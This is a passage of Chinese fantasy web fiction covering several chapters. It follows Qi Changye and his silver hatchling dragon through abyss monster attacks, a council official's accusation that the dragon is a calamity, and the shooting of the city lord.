被哥哥拎在半空、不停蹭蹭哥哥的小龙扭头，瞥了他一眼，继续蹭蹭哥哥手指。 祈长夜让小祈霁落到自己掌中：“乌城让你们过来的？” “是呀，我——” “祈队。” 宋星星身后，一个身穿制服的男人走来，打断了他的话语：“我是‘黄金’小队的队长博伦纳，初次见面，很高兴认识你。” 博伦纳伸出一只手，碧绿的眼眸温和。 “接到议事厅命令，这次深渊异常，由我们‘黄金’和你的‘火种’共同处理。” 祈长夜的目光停在他的眉眼之间，没有回应，也没有开口。 微风停转，阳光下，修长身影静立，那双一向清沉冷静的乌黑眼眸，似有沉沉的墨色一瞬凝结，化散不开。 小祈霁抬起脑袋，轻碰祈长夜手指：“嗷？” 【哥哥？】 祈长夜的眼眸动了动，手指笼住小龙，眸光依然凝望面前的男人。 “你和叶唯风，是什么关系？”他的声音清悦冷静，似乎并没有什么特殊的情绪。 “薪火小队的队长？”博伦纳有些不解，坦然回应，“我很敬佩他，一直将他视为我的前辈。可惜，三年前，我还没能进入乌城，也不曾有幸和薪火有过交集。” “我有！”宋星星大声地说，“以前祈哥救过我呢！不过那次，我好像也没见过薪火的队长。” 祈长夜不再言语，鸦羽般的眼睫微垂，覆住眸底神色，平静地和博伦纳握手。 博伦纳触碰到那薄白而骨节分明的手指，碧色瞳孔倒映出年轻男子水墨画般浓淡得宜的眉眼：“祈队，你比我们来得更早，关于这片深渊的情况，你是否了解一些？” “城主在那边，你们可以问她。” 博伦纳点了点头，对宋星星说：“别打扰人家，毕竟你很吵。” 宋星星：“？？我哪里吵了！我说话很大声吗！！” 博伦纳单手捂住耳朵，把他一起拖走了。 一面临渊的城墙，离深渊咫尺之距，连飞鸟都会绕道而行。 祈长夜坐在城墙上，微风在他的发丝间温柔地打转。 小祈霁趴在他的膝间，尾巴有一下没一下地轻摇。 【哥哥，叶唯风是谁？】 祈长夜垂眼。 “……那是我的队长，薪火小队的队长。”他的声音流淌在风中，“也是我的老师，引导我走过很长一段路程。” 他知道小龙想问的是什么，安静片刻，再次开口：“博伦纳，长得有点像他。” 是巧合吗？ 一个面容和他的队长相似的人，三年前，进入乌城，三年后，又出现在他面前。 软软的尾巴卷起祈长夜衣角，少年的声音轻如微风：【他一定是个很好的人】 【要是我能早点破壳就好了】 这样，它也能早早地陪在哥哥身边，拥有哥哥的过去。 它只有哥哥。 祈长夜注视着趴俯在膝头的小祈霁，微微摇头。 “无论早晚，现在，你都是我的小龙。” “也许，我们命中注定，会在某一刻相遇。” 全世界的风，似乎都在这一刻，为柔软的乌发而变得缠绵柔情。 【哥哥，不是命中注定】 风托起少年轻灵的声音，就像依偎在他身边，附耳低喃。 【是我一直追寻命运，寻找着你的影子】 深渊之上，微风之中，银白帝龙捧起年轻人类的手指，虔诚地低头亲吻。 祈长夜薄白的手指微微一颤，像是被刻上某种烙印，如此明晰。 这一刻，不知是不是他的错觉，他的小龙……似乎变大了一些。 “对了。” 悦耳的女声毫无征兆地响起，雅歌好像不经意间路过了他们旁边：“听黄金小队说，你还给你的小家伙上了户口？” “祈霁的户口挂在你那，它和你的注册关系是什么，父子？” 小祈霁一下子抬起脑袋：“？” 祈长夜说：“弟弟。” 雅歌语调上扬：“哎呀，在一个户口本上，长大以后，就不能在一起咯。” 丢下这句话，她就飘然离去了。 小祈霁：“？” “？？？” 微风停住，银白小龙抱住祈长夜的手指，不可置信，无法理解，呆若木鸡。 ……天塌了！ 第三十三章 黑化小龙！ 【哥哥！为什么不能在一起！】 膝头间, 一只银白小龙焦急地转圈圈。 【等我变成大龙以后，哥哥，哥哥就不要我了吗？】 少年的声音充满了委屈, 那双圆溜溜的龙瞳也耷拉下来, 非常可怜地揪住祈长夜衣角, 摇晃摇晃。 祈长夜摇摇头：“没有的事, 她在逗你。” 就算是乌城, 也没有在一个户口上的一家人成年之后要搬出去住的律法。 听到这句话，小祈霁明显松了一口气，两只小爪子软软地搭在祈长夜手背上。 【那, 等我变成大龙, 哥哥会和我在一起吗？】 “嗯, ”祈长夜逗逗小龙下巴, “不住在一起，还让你睡大街吗？” 流落街头的大龙，想想就很可怜。 小祈霁：“……” 小祈霁看看他，好像有点郁闷，似乎想说什么, 又说不出来的样子。 继续追着自己的尾巴转圈圈，变成一团旋转的小圆圈。 祈长夜的一根手指竖在小圆圈中间的空洞里，成功钓上了一只黏糊糊的小鱼龙。 小鱼龙四只小爪子都黏着哥哥手指, 尾巴晃啊晃, 被他提溜到半空。 祈长夜手指一翻, 双手从小龙前面两只小爪子底下穿过，将它抱了起来。 细长的尾巴软软垂在半空, 小祈霁看着哥哥。 “变大了。”祈长夜掂量了一下。 原本还没巴掌大的小龙，就在刚刚, 忽然蹿了下个子。 “嗷？” 小祈霁立刻低头，脑袋左转右转，尾巴扭来扭去。 啪。 圈住哥哥手腕。 蹿了个子的小龙，伸直的一长条，刚好可以松松缠过祈长夜的手腕一圈。 顿时，小祈霁高兴起来，缠着哥哥的手腕绕圈圈。 这是它第一次，可以圈住哥哥！ 祈长夜看着手腕间忽然多出的小龙手环，感觉他的小龙每一次成长，似乎都有些出乎意料。 不是细水长流地长大，而是忽然往上蹿蹿、成长了一点，过一段时间，又因为某些契机，再往上蹿蹿。 比起长大，更像是……复苏，沿着原本的轨迹回归。 他的脑海里忽然划过这个想法。 见那双乌黑的眼眸若有所思，小祈霁拿软软的龙角蹭蹭他。 小龙银白的龙角，已经不像刚出来时那么脆弱敏感，不过，依然软软的，就和小龙的爪子一样，看似坚硬，实际也很坚硬——但在祈长夜面前，就会变得格外柔软。 祈长夜：“摸摸鳞片。” 小祈霁啪叽一下翻身，露出细长的脊背，每一片银白鳞片都闪烁漂亮的光泽。 祈长夜：“要心形的鳞片。” “……” 小龙悄悄钻进了哥哥的袖子里。 从袖子里探出一只长着龙角的小脑袋，无辜地眨巴眨巴眼睛。 哥哥刚刚说什么。 没有听见呀。 祈长夜眉眼柔和，揉揉那对软软小角。手感很好，多揉两下。 被小龙偷亲了一口指尖。 “……” 机械轰鸣穿过云层，数辆直升机悬于要塞上方，掀起声势浩大的风浪。 雅歌举手搭桥，挡在眼前：“又是乌城的人？” “奇了怪了，你们怎么不一起过来？” “不造啊，”她旁边的宋星星说，“明明这次任务只有我们和祈哥的小队，已经是乌城最强的两个小队了！” 出乎预料的是，从直升机下来的并不是什么进化者小队，而是一位乌城的大人物。 第十席。 米尔达。 这位尊贵的乌城十二坐席之一，离开议事厅后，面具之下的脸颇为白净，虽然因为多年的贵族生活而体态富足，但白净脸庞间那双笑眯眯的眼睛，闪烁着和蔼可亲的光泽。 “诸位，深渊动荡，必有坐席亲至。有我在，你们不用担心。” 在一群随从的拥簇下，他步入要塞，不知是有意还是无意，第一眼就望见了人群偏后的祈长夜。 “祈队，原来你已经到了啊，我还想着亲自去接你过来呢！” “雅歌城主，幸会幸会！” “博伦纳队长，上次没能邀请到你到我的府邸真是可惜，你错过了一瓶很好的红酒。” 刚来此地，米尔达就十分友好地和几位主要人物打过照面。雅歌上前迎接，两边很快谈笑风生起来。 “第十席大人怪好的嘞，”宋星星不知什么时候溜达到了祈长夜身边，“每次见到他，都会邀请我们去他府邸做客呢。” 然后他就发现，趴在祈哥头顶的那只小怪物又看了他一眼。 露出了和上次一样奇怪的眼神。 他挠挠脑袋，想到这只小怪物的特殊身份，开口：“祈哥，你弟弟是不是生病了？怎么老是斜眼？” 小祈霁：“……” 宋星星惊奇地发现，祈哥的小怪物先给了他一点好脸色，然后又斜眼他了。 那边，米尔达和雅歌相谈甚欢，在听了几句深渊的概况后，随意地摆摆戴着四枚硕大宝石的右手：“几只不入流的怪物，就让我的同僚们如此小题大做。深渊已经稳固了上百年，怎么可能出问题嘛。” “这些都是小事，我带了几瓶好酒，不知城主和几位队长是否愿意赏脸一品？” “承蒙好意。”博伦纳脊背挺直，“事关深渊，还是要谨慎，我们准备在附近巡逻一下。” 他转向祈长夜：“祈队，一起吗？” 祈长夜：“可以。” 他的目光与雅歌短暂接触，雅歌微微点头。 于是，两支进化者小队出发，开始沿着深渊边缘巡逻。 刚绕下高墙，祈长夜就和黄金小队分开，带着小祈霁，独自去了深渊另一边。 小祈霁在祈长夜肩上溜溜达达，听见哥哥好听的声音：“有察觉到什么吗？” 小祈霁摇摇脑袋。 祈长夜凝视面前的狭长深谷：“我们进去看看。” “昂！” 祈长夜抬步，就在他即将靠近深渊，仅有数步之距时—— 黑暗，忽然从深谷里涌出，分裂成张扬的爪牙，向他袭来。 祈长夜神色不变，身形丝毫未动。 ——他的身前，金色龙瞳一瞬张开，悍然撑起金色帷幕。 金黄灿然的龙鳞之甲，挡在了他的身前。 深渊的黑暗撞上龙甲，仿佛冰雪撞入熔浆，猝然消融。 ——然而，从深谷之内，更多黑暗溢出，淹没周围的大地，当黑暗完全落下，一只只怪物，出现于大地之上。 它们在白日下，睁开幽深的兽瞳。 银白帝龙乘风而起，浅金色的龙瞳，光芒炽烈。 【哥哥，不用担心，交给我】 祈长夜的目光停落。 曾经的小龙，现在，已经能够挡在他的面前。 从破壳开始，他的小龙就一直为了他，不断成长。 金色鳞甲铺开，将年轻男子牢牢护在其中。狂风卷起，呼啸的风场映照于淡漠的龙瞳之中。 化风为刃，望风披靡。 狂风卷散血迹，从深渊出来的怪物接连倒下，从始至终，没能靠近祈长夜的衣角半步。 然而，深渊依然在沸腾，连绵不绝的黑暗，不断将新的怪物带到大地。 祈长夜凝视那黑暗，片刻后开口：“或许，是我的问题。” 他后退一步，两步。 ——当他和深渊相隔一段距离之后，沸腾的黑暗，不再涌动。 怪物，亦不再从里面出来。 最后几只怪物直接被风刃斩去身躯，银白的帝龙高居风间，漠然地任由鲜血泼溅，沾染不到自身半点。 一颗怪物头颅骨碌碌坠地，滚向深渊，在即将落下深谷时，那颗本应该死去的头颅忽然张嘴。 从它的口中，吐出近似人类的语言。 “我们生来……就在大地之上……” “注定，也将重返大地！” 风在这一刻停滞，银白帝龙浅金的龙瞳，骤然深邃如渊。 下一秒，飓风直接撕裂了怪物残躯。 鲜血映照于祈长夜乌黑的眼眸中，他的眉目沉凝。 这是第一次……除了他的小龙以外，怪物说出人类的语言。 也是第一次，如此众多的怪物，被深渊推向大地。 银白帝龙缓缓转身。 祈长夜眸光微定。 他看见，那双浅金色的龙瞳，竖立如刀锋，充斥着冰冷的杀机。 这一刻，那双龙瞳仿佛不属于尚未成年的幼龙，而是已然跨过成年界限的巨龙，龙瞳金芒如高悬的太阳，燃起森然的怒火。 它冷冷凝视着深渊，似乎下一秒，就要将整片深渊撕裂。 “祈霁？” 祈长夜开口。 “过来。” “……” 银白帝龙动了动，那双冰冷的龙瞳落在他的身上，龙瞳深处的冷意随之散去几分。 小祈霁飘回祈长夜身边，落在他的肩头，一言不发，只是静静地看着他。 那双龙瞳对于祈长夜来说，似乎多了几分陌生。 他不动声色地抬手，修长的手指刚要落在小龙头顶，四周就浮出一片金色。 金色的鳞甲连接而起，将他困在其中，无法离开。 熟悉的一幕，并没有让祈长夜产生意外的神色，他看着自己的小龙，语气依然温和：“不让我出去吗？” 小祈霁没有说话，静静地靠在他的肩头。 细长的尾巴，一下一下抚过他的后颈，磨蹭白皙脖颈，游离于苍白肌肤下的脆弱血管。 充满占有欲的动作，似乎，将它的人类当成了自己的笼中之物。 祈长夜与小祈霁对视片刻，心道果然，他的小龙……不太对劲。 他曲起修长指节，随意在鳞甲上一敲。 鳞甲碎了。 小祈霁还没反应过来，就被祈长夜提溜起来，放入掌心，揉啊揉啊揉。 “……” 银白的小龙似乎想要挣动，但，那双锋利的爪子刚碰到祈长夜手指就变得柔软下来，根本不舍得伤到他分毫。 于是祈长夜继续揉啊揉啊揉，像在揉一块软乎乎的小面团。 揉了半天，摊开掌心。 ——他的手心，趴着一只眼神不再幽深晦暗，而是十分清澈的小龙。 睁着明亮亮，圆溜溜的龙瞳，乖乖地看着祈长夜。 “嗷呜。” 祈长夜：治好了。 什么也没发生。 第三十四章 祈队，你是灾殃？ 银白的小龙穿过指间, 像条小麻花一样，缠住祈长夜颀长手指。 “所以，”祈长夜轻点它的脑袋, “刚刚是怎么回事？” 【哥哥, 我也不知道】 少年的声音有点低沉。 【刚才, 我好像想起了一些……不太好的东西】 似乎有久远的记忆被撬动, 一瞬间, 它被不知因何而起、却又来势汹汹的怒火吞噬了。 那时的银白帝龙，几乎失去了理智，心念之间, 只有一个人, 只有那一道身影。 它不能再失去他。 ——这是滔天怒火之下, 唯一的清明念想。 小祈霁依偎着哥哥, 浅金色的龙瞳静静注视着他，并没有说出这番话。 祈长夜一下一下抚摸他的小龙，陷入沉思。 刚才那只怪物的话，是说它们生来就在大地之上，注定会重返大地。 所以, 第十层的那具巨龙骸骨……是为了镇住深渊吗？ 旧时代的巨龙英灵，已无法再庇佑人类，因此, 这片深渊, 最先产生了异变。 他垂眼, 对上那双浅金色的龙瞳。 深渊的异变如果无法阻止，未来, 他的小龙长大……难道也要走上和深渊之底的巨龙一样的结局？ 他的手指一下收紧了。 小祈霁不知道哥哥在想什么，感觉到他绷紧的手指, 小脑袋微微耷拉了下来。 【下次，如果我再这样……哥哥就把我丢远一点吧】 这只小龙蔫蔫的，抱住祈长夜指尖，软软的尾巴都有气无力地垂了下来。 “不丢，”祈长夜神色如常地开口，揉揉小祈霁，“反正你打不过我。” 一么么大的小龙，就算黑化，也非常好治。 小祈霁：“……” 小龙一时间不知道自己该不该高兴。 想了想，还是高兴地蹭蹭祈长夜掌心，还想要摸摸。 祈长夜的指腹沿着小龙软软的脊背来回蹭过，目光再度落在不远处的深渊，停留一秒，转身离去。 百米高墙之下，两支进化者小队很快重逢。 博伦纳率先开口：“我们并没有发现什么异常，祈队你那边呢？” “有情况，”祈长夜说，“上去再说。” 宋星星溜达到祈长夜身边，看看他头顶趴着的那条银白小龙。 “祈哥，你弟弟真好看诶。” 祈长夜：“是很好看。” 小祈霁摇摇尾巴。 宋星星又踮起脚尖，凑近小祈霁，小声地说：“我们交个朋友，你多在祈哥面前说点我的好话呗。” 小祈霁：“？” 忽然有风卷起，吹炸宋星星的满头金发，糊了他一脸。 “啊！我看不见了！” “……” 城墙之上，祈长夜言简意赅地描述了刚才的情况，略去了他的小龙的失控。 众人听完，低沉的气氛，很快笼罩城墙。 “不得了，这可真是不得了。” 米尔达摇了摇圆润的脑袋。 “本来以为只是几只怪物脱离了深渊，听祈队你这么一说，怎么好像要变天了似的。” 他的眼中划过一丝不易察觉的锐光，带着善意的笑容，看向祈长夜：“偏偏是你一靠近深渊，情况就发生了恶化。祈队，你该不会是……灾殃吧？” 灾殃。 听到这两个字，有些人的神色微微发生了变化。 深渊出现后，一直有个流传许久、几乎人尽皆知的传闻——百年前，深渊之所以降临大地，正是因为人类中多了一位灾殃，为人类招来天灾。 小祈霁一瞬间竖起龙瞳，爪锋之下有利风流转——然后，像是早就预料到了它的动作，一只修长的手提前落下，轻轻按住了它。 银白小龙抬起头，对上祈长夜沉静的乌黑眼眸，一秒后，一声不吭地趴了下来。 好吧，它是个乖乖的大龙，听哥哥的。 祈长夜神色不变，踏前一步，坦然对上米尔达的目光，就要开口—— “不可能。” 雅歌往前走了几步，直接挡在他面前。 “长夜在芙洛城待了三年，从深渊里救下数不清的进化者小队，今日的深渊和他无关，他也绝不可能是灾殃。” “对啊！六年前祈哥就在薪火小队执行任务，进出过多少次深渊了！”宋星星不顾博伦纳的反对，跳了出来，“深渊现在才出问题，怎么可能和他有关系！” “要这么论的话，我们黄金小队还是第一次来到芙洛城的深渊，刚来就出了事，那我们也是灾殃吗？” 米尔达笑眯眯地抬起双手，做了个下压的姿势：“别激动，别激动，我只是做了个小小的假设而已。” “这么说来，祈队的确没有问题。排除掉他的可能性，那么，真正的灾殃，岂不是——” 祈长夜的眼眸冰冷下来。 米尔达手指的方向，是小祈霁。 不等所有人开口，米尔达的声音已经和连珠炮一样弹了出来：“诸位，想一想吧。” “‘深渊发现龙蛋’这个消息传回上城之后，上城可没有一天安生的日子。‘龙蛋’刚被带到陆地，这座下城的深渊就第一次出现了地震，为此还害死了一位S级进化者，包括谢家那位少家主都失去了精神力——这已经是灾厄的开端了。” “后来，上城大方地接纳了祈队和他的怪物，但你们应该还记得，刚来上城那会，这只怪物可不是现在这个样子——那时的它，丑陋，畸形，就像深渊的爬虫，现在又如何呢？” “这只怪物，惊人地展现出了其他怪物从未出现过的二次进化，样貌大变——然而，也就是它‘进化’后没多久，它所诞生的深渊就开始崩塌，让怪物侵犯了我们人类的神圣领地。” “为什么这个怪物出现之后，一切都在变得糟糕，百年未曾变化的深渊开始动荡。而它本身，也是匪夷所思的存在？” “早就应该死在旧时代的所谓真龙，一个过去的亡灵死而复生……如果它不是灾殃，还有什么是灾殃！” 一番话语落定，要塞之间，只有流转的冷风。 一片静默里，有道低沉的男声响起：“我认为，这有道理。” 宋星星愕然扭头，说话的人，是他的队长，博伦纳。 米尔达笑了笑，戴着硕大宝石的手摩擦白腻的下巴：“我无意与祈队作对，相反，我还要感谢你。如果不是三年前，祈队杀了前面那个倒霉蛋，我也没机会成为第十席。” “所以，祈队你只要松松手，让我们把这只怪物带回去研究，到时候，是不是灾殃，自有实验结果说话。” 几乎是他话音刚落，雅歌就抢下话头：“不如先把它关在我们的实验室，省得来回之间，还有意外发生。” “关在这里，让祈队看守，再偷偷放走？” 米尔达摇了摇手指，脸上淡薄的笑意一点点收敛，化为不近人情的冷漠生硬。 “城主，现在和你说话的是第十席，我的每一句话，都代表至高无上的议事厅。” “……” 浅金色龙瞳淡漠地注视这一幕，宛如旁观了一场无关紧要的闹剧。 小祈霁抬起爪子，轻轻拨动祈长夜手指。 【哥哥，没关系，我不会有事】 少年的声音悦耳而平静，微风托起银白小龙，向前飘去—— 然后，被一只骨节分明的手指，直接捏住了后颈，往回一提。 祈长夜没有低头，目光始终平直，提溜着他的小龙，踏前一步，脊背笔直如出鞘的利剑。 “深渊，占据了世界近半面积的庞然大物，百年前就已出现，迄今为止，不知多少进化者出入过那里。乌城对深渊的研究也持续百年，在那落下无数手笔。” 那双乌黑的眼眸无尘亦无波澜，声音也平静如水。 “乌城还有一些人，曾犯下许多罪行，直至今日，依然不知悔改。” “他们的罪行尚未洗清，却说祈霁，一只从没做过错事的小家伙是灾殃，不觉得可笑吗？” “我不认为，这只刚破壳还不到半年的小龙，是将已经存在百年的深渊推向失控的罪魁祸首。” 米尔达眼中闪烁着算计的光泽，还要开口，祈长夜已先一步，截断他的话语： “三天之内，我会解决深渊异常。” 米尔达微微眯起了眼睛：“祈队，你的意思是，你要违抗议事厅？” “第十席，”祈长夜俯视他的眼睛，“如果你的记性不太好，我不介意让你回忆一下三年前。” “……” 空气似乎凝固，结为冰霜。 宋星星微微睁大了眼睛，这一刻，脑子里只有一个念头—— 祈哥在十二坐席面前，一直都这么刚吗？ ……真帅啊！ 啪，啪，啪。 三下不紧不慢的掌声，来源于面无表情的米尔达。 “祈队，我刚刚和你说笑呢，谁不知道，祈霁是你最珍视的弟弟，怎么可能是灾殃呢？” 他的声音好像带着笑意，虽然从他的眼睛里找不到一丝。 “那就再给你三天时间吧，三天之后，站在这里的，可不只是我了。” 虽然最后一句话听起来像是威胁，但谁都能看得出来，这位第十席在祈队那双刀锋般的眼眸之下，漏出来的色厉内荏。 横穿荒原的凛冽寒风，触碰到垂落城墙的风衣衣摆时，轻飘飘打了个转。 银白的小龙缠绕在哥哥手腕间，贝壳一样漂亮的尾巴尖尖，不停磨蹭他的指骨。 【哥哥，我好像又给你添麻烦了】 祈长夜捏捏小龙软软的尾巴：“麻烦从来都不是你找来的。” 小祈霁从他指间冒出脑袋，龙瞳幽沉。 【如果我——】 “如果你真的是灾殃。”像是猜到小龙想说什么，祈长夜平静地开口，“那我们就只能跑了。” “跑到没人的地方，躲起来。” 小祈霁呆呆地看着他。 “不过——还是那句话，我不相信，你是灾殃。” “你是我的小太阳。” 小祈霁：“……” 哥哥又对它说好听的话了。 喜欢。 喜欢！ 暖乎乎的小龙开始转圈圈，像只滴溜溜的小陀螺。 脚步声由远及近，雅歌走到了祈长夜身边，驻足。 她没头没尾地冒出了一句：“你知道深渊最早的起因吗？” 祈长夜：“我记得，一切关于深渊起源的档案，都被封存。” “没错，永久保密，被封存于议事厅的最高档案，听说，只有第一坐席有资格保管，就连剩下十一位坐席都无法轻易窥探。” 雅歌的目光落在远方。 “我当上城主之后，曾经想要去探查，却查不到一丝一毫的线索。” “深渊的起源，早已被封死，任何人都无法得知。什么灾殃之说，也只是后人的流传，不乏有心之人暗中推动的可能。” “从始至终，人类都不曾见过真正的深渊——现在，很多人都忘了这点，还以为人类已经征服深渊。” 她转首，那双紫罗兰色的眼眸落回祈长夜身上：“去查吧，不用顾忌什么，我会守住这座城市。” 祈长夜与这位城主的目光相对，片刻后，轻轻颔首：“谢谢。” “不谢，”雅歌吹了声口哨，“以后我要坐主桌的。” 祈长夜：“？” 他说：“什么？” 小祈霁一下支楞了起来。 “成年礼啊，”雅歌对小龙挤了下眼睛，“等这只小家伙变成大家伙，你不得摆几桌酒，办个成年礼庆祝一下吗？” “我要提前霸占主桌。” “……” 小祈霁又趴下去了。 祈长夜：“好。” 雅歌话锋一转：“不过，在那之前，你也该考虑考虑自己的问题了，比如——有没有兴趣找个对象？” 小祈霁又支楞了起来。 祈长夜语气平淡：“不感兴趣。” 小祈霁又趴了下去。 祈长夜不明所以地低头。 小龙在做仰卧起坐。 “……？” 第三十五章 第二条帝龙？ 【哥哥！】 银白的小龙, 趴在祈长夜耳边嘀嘀咕咕。 【哥哥觉得我怎么样？】 祈长夜对上那双浅金色的龙瞳：“很可爱。” “怎么这么问？” 小祈霁从那双漂亮的乌黑眼眸里，看见了自己的倒影。 只有一点点大。 ……好吧。 小祈霁不吭声了，嗖嗖爬到祈长夜头顶, 趴在那里。 垂下的小尾巴, 一下一下扫过祈长夜柔软的乌发, 与发丝勾连。 祈长夜头顶他的小龙, 走向深渊。 “祈哥！” 忽然有风声逼近, 一道身影从高墙落下。 “等等我，我和你一起去！” 祈长夜偏过脸，望见一头灿烂的金发。 宋星星两三步跑到他身边, 嘿嘿一笑：“我给队长他们留了信息, 这次, 我和你一起行动！” 小祈霁幽幽地从祈长夜头顶探下脑袋, 投来幽幽的注视，宋星星浑然不觉，挺胸抬头：“我会照顾好自己，绝不会拖你们后腿的！” 祈长夜微微摇首：“我们要去深渊之底，会很危险。” 宋星星眼睛一亮, 兴奋地搓搓手：“正巧，我专业对口！” “祈哥，你还不知道我的能力吧！” “我的能力是‘通灵’, 最擅长探查深渊, 不管多难发现的细小角落都能感知到, 还能感知怪物的情绪，甚至可以一定程度上和它们交流！” 祈长夜：“能感知人的情绪吗？” 宋星星：“呃, 这个不行，只对怪物有用哦。” 祈长夜：“看得出来。” “不过！”宋星星又说, “把我丢到深渊里，我可以给你们导航，避开危险，找到最安全的路径！” “多谢，但还是算了。”祈长夜语气平静，“刚才的事情你都看到了，这一趟不仅危险，还会给你招来不必要的麻烦。” 宋星星毫不在意地一挥手：“我最不怕麻烦，更不怕危险。要是没有祈哥你，四年前我就死了，哪还有今天呀。” 不等祈长夜开口，他又飞快加了一句：“祈哥你不带我也没关系，我会自己偷偷跟上去的，万一我孤零零的一个人，遇到打不过的怪物被吃掉就不好了，所以你们还是带上我吧！” 小祈霁：“？” 祈长夜沉默片刻，说：“只要你跟得上。” 他转身，向前走去，宋星星立刻跟了上来，抬手，和祈长夜头顶的银白小龙打了声招呼：“祈霁哥！” 小祈霁：“……” 小祈霁飞快从祈长夜头顶跳到他的肩上，非常有存在感地卡在哥哥和那个多出来的人类中间。 祈长夜低头，以眼神示意。 要是待会遇到危险，我会开路，你用风把他送出去。 ——他的小龙的风，能迅速穿梭在深渊之内，这是他之前就发现的事情。 小祈霁一声不吭，只是趴在他肩上，浅金色的龙瞳，露出幽幽的目光。 祈长夜默默掏出一颗糖，剥开，试图贿赂小龙。 小祈霁一眨不眨地盯着哥哥拿着糖的薄白指尖，嗷呜一口。 指尖微湿，被小龙轻轻舔过。 祈长夜手指一颤，小祈霁含着糖，一眨不眨地看着他。 “……” 有一丝不对劲浮起，很快被祈长夜压了下来。 他揉揉小祈霁脑袋，耳畔响起了少年的声音：【我的能力，才不用来保护哥哥以外的人】 【哥哥要对我多说一点好听的话才行】 小龙的语气带了点委屈，却乖巧依偎着他，软软地撒娇。 祈长夜目光一动，捧起小龙：“好。” “啊？”宋星星探头，“好什么？” 祈长夜：“没什么。” 他把小祈霁轻轻拢到掌心，指腹一下下磨蹭。 宋星星回想起之前的零碎片段，灵光一闪。 祈哥似乎能用特殊的方式，和他弟弟交流？ 宋星星看着小祈霁，眨了眨眼睛，悄悄地对这只银白帝龙发动了能力。 通灵，情绪感知。 ——下一秒，一声嚎叫，宋星星捂住了脑袋。 祈长夜的目光立刻定在他身上：“怎么了？” “……没，没事！” 宋星星嘶嘶抽气，连连摆手。 “不小心磕到了，哈哈，没事！” 他一边抽气，一边飞快往旁边挪挪，眼神根本不敢落在那只银白小龙身上，心底则掀起一片狂澜。 ——刚才，他的通灵失败，遭到了反噬。 这种情况之前也出现过，次数很少，都是撞上比他精神力更强的怪物，哪怕对方什么都没做，通灵也会直接失败，给他带来反噬。 可是，那些来自深渊底层、本就十分强大的怪物也就算了，为什么碰上这只小家伙都能失败？ 明明才那么点大，精神力居然这么强？它真的是普通的怪物吗？ 宋星星越想越觉得不可思议，过了两秒，又没忍住，偷瞄那只银白帝龙一眼。 他发现，小祈霁并没有在意他，而是趴在祈长夜掌心，昂头望着祈长夜。 那双浅金色的漂亮龙瞳，专注而执着，静静地倒影出那一个人的影子。 “……” 不知道是不是宋星星的错觉，他总感觉，那双金色的龙瞳看向祈长夜时，似乎，有点不太对劲。 至少，他不会用这种奇奇怪怪的眼神看他的队长，好像也没什么人拿这种眼神看他。 “小心。” 清沉的声音落在耳畔，宋星星回神，才发现，他们已经快要靠近深渊。 下一秒，狂风毫无征兆地卷起，宋星星一个趔趄，双脚已然脱离地面，浮在半空。 “怎么回事？！啊啊啊啊——” 狂风托载着人影冲入深渊，如巨石砸入湖畔，掀起惊涛骇浪。 刹那间，深渊之内的无数黑暗震动，仿佛受到了极大的挑衅，愤怒地张开森森爪牙—— 数不清的怪物，从黑暗中冲出，还没靠近，就被凛冽的飓风碾碎。 银白帝龙落在祈长夜肩侧，金色龙瞳亮起，漠然俯视深渊。 “防护装置戴了吗？” 此起彼伏的怪物嘶吼声中，祈长夜的声音依然冷静。 宋星星哆哆嗦嗦地抬起手腕，上面挂着一条单颗的星石手链：“戴了！戴了！” “碎了也没关系，”祈长夜说，“别离开我身边。” 这句话让宋星星的胸腔一阵暖流涌动，感动地应了声“好”。 很快，他又眼尖地发现祈长夜身上什么都没有，一下睁大了眼睛：“祈哥，你的防护装置——” 祈长夜不语，黑暗自他脚下席卷而起，撞上深渊，径直撕开一条道路。 狂风呼啸涌入，带他们沿着那条撕开的道路，没入深渊深处。 宋星星的世界观好像遭到了巨大冲击。 深渊很危险，进化者无法抵抗深渊侵蚀，所以需要佩戴防护装置，这是共识。 而现在……他面前的这个人居然能仅凭一己之力，抗住深渊侵蚀？！ 他简直闻所未闻！ 惊诧归惊诧，宋星星还是下意识地展开了自己的能力，精神力向外扫荡—— “不太对劲。” 他一下抱住脑袋。 “这些怪物……情绪很奇怪！” 他居然感知不到它们的情绪，就像被一层厚重的膜隔断了。 随着他们的深入，冰冷的深渊彻底沸腾，怪物不断涌来，源源不绝。 直面这地狱般的一幕，宋星星眼皮直跳，然而很快他又发现，无论有多少怪物，都无法靠近他们。 年轻男子修长的黑衣身影，和银白帝龙并肩而立，就是不可逾越的高墙。 宋星星再低头看看自己。 也许起到了一个加油鼓劲的作用。 他默默捂住脑袋，再次发动了能力，不再感知怪物的情绪，转而探测起了整片深渊。 片刻后，他的眼睛一亮：“祈哥，走那边！那里有一条小道，可以直通深渊之底！” 与此同时，地面之上—— 数不清的怪物从深渊呼啸而出，黑云压顶，向高墙侵袭而来。 要塞所有进化者全体出动，抵御怪物，雅歌始终位于最前方。 最先冲出地面的怪物并不强，然而，让雅歌心情沉重的是，从此刻开始，深渊真的变天了。 百年前，出现在人类陆地上的这柄达摩克利斯之剑，还是坠落了下来。 砰。 一道枪声，淹没在怪物的嘶吼中，几乎难以辨清。 剧痛袭来，雅歌当场爆了一句粗口，扭转头颅—— 牢固的要塞城墙上，米尔达手持一把火石枪，隔着上百米的距离，皮笑肉不笑地看着她：“安心上路吧，城主大人。” “我会向所有人宣布，火种小队队长祈长夜害死了芙洛城城主，从今天开始，叛变人类。” —— 深渊，第十层。 一到这里，那些追逐他们的怪物顷刻间退入黑暗，没了身影。 宋星星一屁股跌坐在地，他的星石手链早已破碎，让他震撼的是，自己居然没受到深渊侵蚀。 ——他的周身始终被一片黑影笼罩，漆黑的影子延伸，没入祈长夜的影子里。 那道修长身影所站之处，就是一片无底深潭。 宋星星愣愣地看了几秒，说：“祈哥，深渊是你家吗？” 不仅自身能够硬抗深渊侵蚀，甚至还有余力庇护他。 祈长夜微微摇头，目光落在前方。 那具巨龙骸骨，不见了。 巨龙的安息之地，星光与莹草都随之消失，这一层没有怪物，却也只剩下缥缈的黑暗。 小祈霁飘落到祈长夜掌心，散发暖烘烘的热意，驱散他身侧的寒冷。 祈长夜低头，看着这只小龙：“你还能找到它吗？” 他指的是那条永眠的巨龙。 小祈霁轻轻摇头。 【哥哥，它已经离开了】 祈长夜沉默，手指落在小祈霁头顶，听到了宋星星的声音：“祈哥，这里……好像和其他地方不一样。” 他压低身躯，脸庞几乎贴上地面。 “也许，我可以发动全部能力，探测这里！” “别勉强自己，”祈长夜说，“如果撑不住，立刻退出来。” “好！” 宋星星闭上眼睛，调动所有的精神力，瞬间将探测的能力扩散到极致。 也许是有些吃力，很快，他的额上渗出冷汗。 